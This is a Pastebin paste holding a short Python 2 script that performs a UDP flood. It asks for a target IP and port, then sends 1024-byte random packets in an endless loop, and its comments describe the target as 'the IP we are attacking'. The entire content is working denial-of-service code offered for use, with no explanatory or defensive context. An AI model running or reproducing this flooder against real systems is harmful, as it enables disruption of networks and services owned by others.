Advertisement
Guest User

Untitled

a guest
Jan 4th, 2015
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.46 KB | None | 0 0
  1. import socket
  2. import random
  3.  
  4. sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
  5. bytes=random._urandom(1024) #Creates packet
  6. ip=raw_input('Target IP: ') #The IP we are attacking
  7. port=input('Port: ') #Port we direct to attack
  8.  
  9. sent = 1
  10. while 1: #Infinitely loops sending packets to the port until the program is exited.
  11.     sock.sendto(bytes,(ip,port))
  12.     print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
  13.     sent= sent + 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement